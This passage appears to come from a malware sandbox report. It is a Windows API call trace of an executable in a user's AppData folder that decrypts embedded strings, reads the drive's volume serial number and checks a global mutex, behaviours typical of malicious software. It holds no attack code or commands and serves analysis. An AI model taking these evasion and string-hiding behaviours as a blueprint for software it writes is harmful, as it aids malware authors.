\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x2e\x5f\xf8\xd5\x70\xfb\xd3", lpUsedDefaultChar=0x0) returned 256
	[0213.435] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x137f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0213.435] GetLastError () returned 0x0
	[0213.435] SetLastError (dwErrCode=0x0) 
	[0213.435] GetLastError () returned 0x0
	[0213.435] SetLastError (dwErrCode=0x0) 
	[0213.435] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.436] SetLastError (dwErrCode=0x0) 
	[0213.436] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.437] SetLastError (dwErrCode=0x0) 
	[0213.437] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.438] SetLastError (dwErrCode=0x0) 
	[0213.438] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] GetLastError () returned 0x0
	[0213.439] SetLastError (dwErrCode=0x0) 
	[0213.439] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x34) returned 0x681768
	[0213.439] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.440] SetLastError (dwErrCode=0x0) 
	[0213.440] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.441] SetLastError (dwErrCode=0x0) 
	[0213.441] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.442] SetLastError (dwErrCode=0x0) 
	[0213.442] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.443] GetLastError () returned 0x0
	[0213.443] SetLastError (dwErrCode=0x0) 
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x94) returned 0x6817a8
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1f) returned 0x681848
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x28) returned 0x681870
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x37) returned 0x6818a0
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3c) returned 0x6818e0
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x31) returned 0x681928
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x14) returned 0x681968
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x24) returned 0x681988
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xd) returned 0x6819b8
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x17) returned 0x6819d0
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2b) returned 0x6819f0
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x15) returned 0x681a28
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x17) returned 0x681a48
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x22) returned 0x681a68
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe) returned 0x681a98
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xc1) returned 0x681ab0
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3e) returned 0x681b80
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b) returned 0x681bc8
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1d) returned 0x681bf0
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x48) returned 0x681c18
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x12) returned 0x681c68
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x681c88
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b) returned 0x681ca8
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x24) returned 0x681cd0
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x29) returned 0x681d00
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681d38
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x6b) returned 0x681d60
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x17) returned 0x681dd8
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xf) returned 0x681df8
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x16) returned 0x681e10
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x28) returned 0x681e30
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x27) returned 0x681e60
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x12) returned 0x681e90
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x21) returned 0x681eb0
	[0213.444] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x10) returned 0x681ee0
	[0213.445] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1c) returned 0x681ef8
	[0213.445] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x12) returned 0x681f20
	[0213.445] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x680fd0 | out: hHeap=0x680000) returned 1
	[0213.445] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0213.445] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x80) returned 0x681f40
	[0213.445] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1378136) returned 0x0
	[0213.446] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x681f40) returned 0x80
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.446] GetLastError () returned 0x0
	[0213.446] SetLastError (dwErrCode=0x0) 
	[0213.447] GetLastError () returned 0x0
	[0213.447] SetLastError (dwErrCode=0x0) 
	[0213.447] GetLastError () returned 0x0
	[0213.447] SetLastError (dwErrCode=0x0) 
	[0213.447] GetLastError () returned 0x0
	[0213.447] SetLastError (dwErrCode=0x0) 
	[0213.447] GetLastError () returned 0x0
	[0213.518] SetLastError (dwErrCode=0x0) 
	[0213.518] GetLastError () returned 0x0
	[0213.518] SetLastError (dwErrCode=0x0) 
	[0213.518] GetLastError () returned 0x0
	[0213.518] SetLastError (dwErrCode=0x0) 
	[0213.518] GetLastError () returned 0x0
	[0213.518] SetLastError (dwErrCode=0x0) 
	[0213.518] GetLastError () returned 0x0
	[0213.518] SetLastError (dwErrCode=0x0) 
	[0213.518] GetLastError () returned 0x0
	[0213.518] SetLastError (dwErrCode=0x0) 
	[0213.518] GetLastError () returned 0x0
	[0213.518] SetLastError (dwErrCode=0x0) 
	[0213.518] GetLastError () returned 0x0
	[0213.529] SetLastError (dwErrCode=0x0) 
	[0213.529] GetLastError () returned 0x0
	[0213.529] SetLastError (dwErrCode=0x0) 
	[0213.529] GetLastError () returned 0x0
	[0213.529] SetLastError (dwErrCode=0x0) 
	[0213.529] GetLastError () returned 0x0
	[0213.529] SetLastError (dwErrCode=0x0) 
	[0213.529] GetLastError () returned 0x0
	[0213.529] SetLastError (dwErrCode=0x0) 
	[0213.529] GetLastError () returned 0x0
	[0213.529] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.530] SetLastError (dwErrCode=0x0) 
	[0213.530] GetLastError () returned 0x0
	[0213.531] SetLastError (dwErrCode=0x0) 
	[0213.531] GetLastError () returned 0x0
	[0213.531] SetLastError (dwErrCode=0x0) 
	[0213.531] GetLastError () returned 0x0
	[0213.531] SetLastError (dwErrCode=0x0) 
	[0213.531] GetLastError () returned 0x0
	[0213.531] SetLastError (dwErrCode=0x0) 
	[0213.531] GetLastError () returned 0x0
	[0213.531] SetLastError (dwErrCode=0x0) 
	[0213.531] GetLastError () returned 0x0
	[0213.531] SetLastError (dwErrCode=0x0) 
	[0213.531] GetLastError () returned 0x0
	[0213.531] SetLastError (dwErrCode=0x0) 
	[0213.531] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x680fd0
	[0213.531] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x3300) returned 0x681fc8
	[0213.531] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x15c) returned 0x681008
	[0213.531] GetTickCount () returned 0x1e6a2
	[0213.531] GetLastError () returned 0x0
	[0213.531] SetLastError (dwErrCode=0x0) 
	[0213.532] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0xd3fba8, cchData=32 | out: lpLCData="\x03") returned 16
	[0213.532] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1c) returned 0x681170
	[0213.532] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1c) returned 0x681198
	[0213.532] GetVersion () returned 0x23f00206
	[0213.532] GetCurrentProcess () returned 0xffffffff
	[0213.532] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xd3fb0c | out: TokenHandle=0xd3fb0c*=0x1ec) returned 1
	[0213.532] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0xd3fb04, TokenInformationLength=0x4, ReturnLength=0xd3fb08 | out: TokenInformation=0xd3fb04, ReturnLength=0xd3fb08) returned 1
	[0213.532] CloseHandle (hObject=0x1ec) returned 1
	[0213.532] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6811c0
	[0213.532] CryptAcquireContextW (in: phProv=0x137fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x137fcf0*=0x1267b0) returned 1
	[0213.540] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa68 | out: phKey=0xd3fa68*=0x1390a0) returned 1
	[0213.541] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0xd3fa50, dwFlags=0x0) returned 1
	[0213.541] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811c0, pdwDataLen=0xd3fa1c | out: pbData=0x6811c0, pdwDataLen=0xd3fa1c) returned 1
	[0213.541] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0213.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6811e8
	[0213.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x681210
	[0213.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681238
	[0213.541] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f9d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa40 | out: phKey=0xd3fa40*=0x1391e0) returned 1
	[0213.541] CryptSetKeyParam (hKey=0x1391e0, dwParam=0x1, pbData=0xd3fa28, dwFlags=0x0) returned 1
	[0213.541] CryptDecrypt (in: hKey=0x1391e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681238, pdwDataLen=0xd3f9f4 | out: pbData=0x681238, pdwDataLen=0xd3f9f4) returned 1
	[0213.541] CryptDestroyKey (hKey=0x1391e0) returned 1
	[0213.541] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681238 | out: hHeap=0x680000) returned 1
	[0213.541] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6811e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0213.541] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681210 | out: hHeap=0x680000) returned 1
	[0213.541] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811c0 | out: hHeap=0x680000) returned 1
	[0213.542] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd3faa8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd3faa8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0213.542] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811e8 | out: hHeap=0x680000) returned 1
	[0213.542] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x6811c0
	[0213.542] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa9c | out: phKey=0xd3fa9c*=0x1393a0) returned 1
	[0213.542] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3fa84, dwFlags=0x0) returned 1
	[0213.542] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811c0, pdwDataLen=0xd3fa50 | out: pbData=0x6811c0, pdwDataLen=0xd3fa50) returned 1
	[0213.542] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0213.542] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681208
	[0213.542] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x1f0
	[0213.542] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0213.542] CloseHandle (hObject=0x1f0) returned 1
	[0213.542] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811c0 | out: hHeap=0x680000) returned 1
	[0213.542] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681208 | out: hHeap=0x680000) returned 1
	[0213.542] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6811c0
	[0213.542] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa7c | out: phKey=0xd3fa7c*=0x1393e0) returned 1
	[0213.542] CryptSetKeyParam (hKey=0x1393e0, dwParam=0x1, pbData=0xd3fa64, dwFlags=0x0) returned 1
	[0213.542] CryptDecrypt (in: hKey=0x1393e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811c0, pdwDataLen=0xd3fa30 | out: pbData=0x6811c0, pdwDataLen=0xd3fa30) returned 1
	[0213.542] CryptDestroyKey (hKey=0x1393e0) returned 1
	[0213.542] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6811e8
	[0213.542] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x681210
	[0213.542] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681238
	[0213.542] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f9ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3fa54 | out: phKey=0xd3fa54*=0x1393e0) returned 1
	[0213.542] CryptSetKeyParam (hKey=0x1393e0, dwParam=0x1, pbData=0xd3fa3c, dwFlags=0x0) returned 1
	[0213.542] CryptDecrypt (in: hKey=0x1393e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681238, pdwDataLen=0xd3fa08 | out: pbData=0x681238, pdwDataLen=0xd3fa08) returned 1
	[0213.542] CryptDestroyKey (hKey=0x1393e0) returned 1
	[0213.542] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681238 | out: hHeap=0x680000) returned 1
	[0213.543] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6811e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0213.543] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681210 | out: hHeap=0x680000) returned 1
	[0213.543] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811c0 | out: hHeap=0x680000) returned 1
